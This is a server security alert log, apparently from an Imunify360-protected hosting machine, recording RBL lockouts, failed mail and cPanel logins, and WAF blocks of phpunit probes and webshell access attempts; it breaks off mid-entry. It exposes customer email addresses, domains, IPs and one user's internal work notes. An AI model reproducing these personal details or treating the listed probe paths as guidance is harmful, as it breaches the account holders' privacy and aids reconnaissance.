Jan 21 16:07:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.210.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 16:07:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 16:08:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.75.122.7
country_id: 927384
description:
2026-01-21 16:08:41 dovecot_login authenticator failed for H=([41.75.122.7]) [41.75.122.7]:35899: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.210.91
country_id: 798544
description:
Jan 21 16:08:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.210.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.238.231.72
country_id: 6252001
description:
2026-01-21 16:09:36 dovecot_login authenticator failed for H=(localhost) [185.238.231.72]:31805: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.157.109.60
country_id: 453733
description:
Jan 21 16:11:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.157.109.60 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.188.56.50
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/news-details2.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.184.55.92
country_id: 1733045
description:
[2026-01-21 16:13:46 +0800] info [cpaneld] 202.184.55.92 - indfinitydesign  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.210.48
country_id: 933860
description:
Jan 21 16:14:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.210.48 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.163.157.175
country_id: 192950
domain: www.vc-b.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.vc-b.com.my/about.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.234.62
country_id: 798544
description:
Jan 21 16:17:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.234.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 16:18:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.164.117.23
country_id: 1269750
description:
Jan 21 16:18:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.164.117.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 164.164.117.23
country_id: 1269750
description:
2026-01-21 16:18:49 dovecot_login authenticator failed for H=([164.164.117.23]) [164.164.117.23]:37470: 535 Incorrect authentication data (set_id=lutfi@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.234.62
country_id: 798544
description:
Jan 21 16:18:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.234.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.213.194.141
country_id: 1269750
description:
Jan 21 16:18:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.213.194.141 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 23.239.28.113
country_id: 6252001
domain: 34.217.70.37
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.217.70.37/azenv2.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 16:20:43 H=([46.151.182.48]) [46.151.182.48]:49389 F=<mailerd@empirelog.com.my> rejected RCPT <waynegoh@empirelog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.159.226.10
country_id: 3194884
description:
2026-01-21 16:21:42 dovecot_login authenticator failed for H=(localhost) [98.159.226.10]:15297: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.159.226.10
country_id: 3194884
description:
2026-01-21 16:22:29 dovecot_login authenticator failed for H=(localhost) [98.159.226.10]:55124: 535 Incorrect authentication data (set_id=info@stillman.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.163
country_id: 1733045
description:
[2026-01-21 16:22:46 +0800] info [webmaild] 27.125.240.163 - jlpom@ajplantations.com.my "POST /cpsess4402760254/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.240.98] != Current IP Address [27.125.240.163]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 16:24:26 sv3 pure-ftpd[3111874]: (?@175.143.202.161) [INFO] New connection from 175.143.202.161


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 16:24:36 sv3 pure-ftpd[3112024]: (oxboldc@175.143.202.161) [NOTICE] /home/oxboldc//public_html/becomeonedaypilot-cessna.htm uploaded  (142498 bytes, 1781.09KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.199.85.42
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/event-dispatcher/Tests/ImmutableEventDispatcherTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 16:26:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12792: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 16:26:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53134: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.54.18.43
country_id: 2623032
description:
Jan 21 16:28:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.54.18.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 16:28:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21491: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.240.224
country_id: 2510769
description:
Jan 21 16:29:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.240.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 16:29:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.54.18.43
country_id: 2623032
description:
Jan 21 16:29:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.54.18.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 16:31:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.175.147
country_id: 1733045
description:
[2026-01-21 16:32:28 +0800] info [webmaild] 175.139.175.147 - pft_rnd@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.132
country_id: 690791
description:
2026-01-21 16:32:42 H=([77.83.39.132]) [77.83.39.132]:58451 F=<powerbiz@emirates.net.ae> rejected RCPT <info@mkmetal.com.my>: SPF: 77.83.39.132 is not allowed to send mail from emirates.net.ae


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 16:32:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.136.10
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=67 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 16:33:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60004: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.170.213.110
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=21131522226785 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.134.211.103
country_id: 3439705
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/sebastian/recursion-context/src/InvalidArgumentException.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 16:34:17 H=([45.144.212.242]) [45.144.212.242]:51921 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.229.186.149
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/dance/11/490/1176401 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.86.202.206
country_id: 2921044
domain: kendek.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:kendek||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.185.161.166
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=21181514882070 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.217
country_id: 2921044
domain: kdiballoon.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:kdiballo1||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.203
country_id: 2921044
domain: printspecsolution.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:printspecsolutio||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.191
country_id: 2921044
domain: maalloys.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:maalloyscom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.224
country_id: 2921044
domain: mymetal.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:cabecom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.200
country_id: 2921044
domain: dynamic-hr.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:dynamichrcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.211
country_id: 2921044
domain: gagasanteguh.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:gagasanteguhcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.186
country_id: 2921044
domain: kimmark.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:kimmark||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.200
country_id: 2921044
domain: krisfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:krisfood||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.205
country_id: 2921044
domain: solidfence.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:solidfencecom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.227
country_id: 2921044
domain: usfood.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:usfoodcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.192
country_id: 2921044
domain: vc-b.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:vcbcom||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.78.146
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-38.92.71.78.146||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.183
country_id: 2921044
domain: dsc-expat.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:dscexpat||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.148.217.252
country_id: 1210997
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/JsonResponseTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 16:42:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.49
country_id: 953987
description:
Jan 21 16:42:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.171
country_id: 6290252
description:
Jan 21 16:43:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-21 16:46:00 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:61480: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 16:48:41 H=([45.144.212.242]) [45.144.212.242]:56777 F=<no_reply@admin.com> rejected RCPT <sales@acburn.com.my>: Sender verify failed


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.29.138.200
country_id: 6252001
domain: ocned.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.64||T:APACHE||REQUEST_URI:/website/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 108.165.238.37
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-52.108.165.238.37||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.30.36.125
country_id: 2921044
description:
2026-01-21 16:52:21 dovecot_login authenticator failed for H=(localhost) [212.30.36.125]:37349: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 16:53:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 16:54:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53270: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 16:54:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12798: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 16:56:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21501: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 124.13.49.251
country_id: 1733045
description:
[2026-01-21 16:56:06 +0800] info [webmaild] 124.13.49.251 - yy.chong@nmahir.com "GET /cpsess8185294414/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=14&_mbox=INBOX&_framed=1&_action=preview HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 16:56:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 16:57:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.132
country_id: 690791
description:
2026-01-21 16:57:43 H=([77.83.39.132]) [77.83.39.132]:63878 F=<powerbiz@emirates.net.ae> rejected RCPT <astpkg@astlog.com.my>: SPF: 77.83.39.132 is not allowed to send mail from emirates.net.ae


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.152
country_id: 3469034
description:
Jan 21 16:56:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 16:58:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.8.118.145
country_id: 1269750
description:
Jan 21 16:57:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.8.118.145 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 76.179.194.133
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-00.76.179.194.133||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.215.88
country_id: 3469034
description:
Jan 21 17:00:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.215.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 17:01:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60076: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-21 17:03:07 H=(localhost.localdomain) [78.153.140.207]:41480 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.20.104.171
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phar-io/manifest/src/ManifestLoader.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.132
country_id: 690791
description:
2026-01-21 17:03:32 H=([77.83.39.132]) [77.83.39.132]:53299 F=<powerbiz@emirates.net.ae> rejected RCPT <cky@ahfengineering.com>: SPF: 77.83.39.132 is not allowed to send mail from emirates.net.ae


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 17:04:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-21 17:04:42 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:15877: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-21 17:04:59 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:61512: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.42
country_id: 3469034
description:
Jan 21 17:05:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 17:06:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 17:07:45 H=([45.144.212.242]) [45.144.212.242]:53879 F=<no_reply@admin.com> rejected RCPT <ang@aircarbonic.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.8.13
country_id: 2300660
description:
Jan 21 17:10:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.8.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.8.13
country_id: 2300660
description:
Jan 21 17:11:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.8.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/contact.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.72.71
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-14.92.71.72.71||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/druma_photos/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.243.110.72
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=66661526631221 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p><span style=\"text-decoration: underline;\"><strong>wednesday 21-jan-26</strong></span></p>\r\n<ul>\r\n<li>update tsb container arrival report</li>\r\n<li>apply new permit for jt johnson and bvt</li>\r\n<li>checking on draft bl and form e for shipment to 18d</li>\r\n<li>follow up on fumigation cert.</li>\r\n<li>checking draft k1</li>\r\n<li>confirming bl</li>\r\n<li>discuss with greenpen salesman on container pending at yard for a few days. d&amp;d already started and we refuse to bear the fees.</li>\r\n<li>update tpy import schedule</li>\r\n<li>finalizing us consol shipment before closing tomorrow.</li>\r\n<li>finalize shipping document for old stock to kk. provide to erwin on the documentation for his review.</li>\r\n</ul>||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 17:17:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
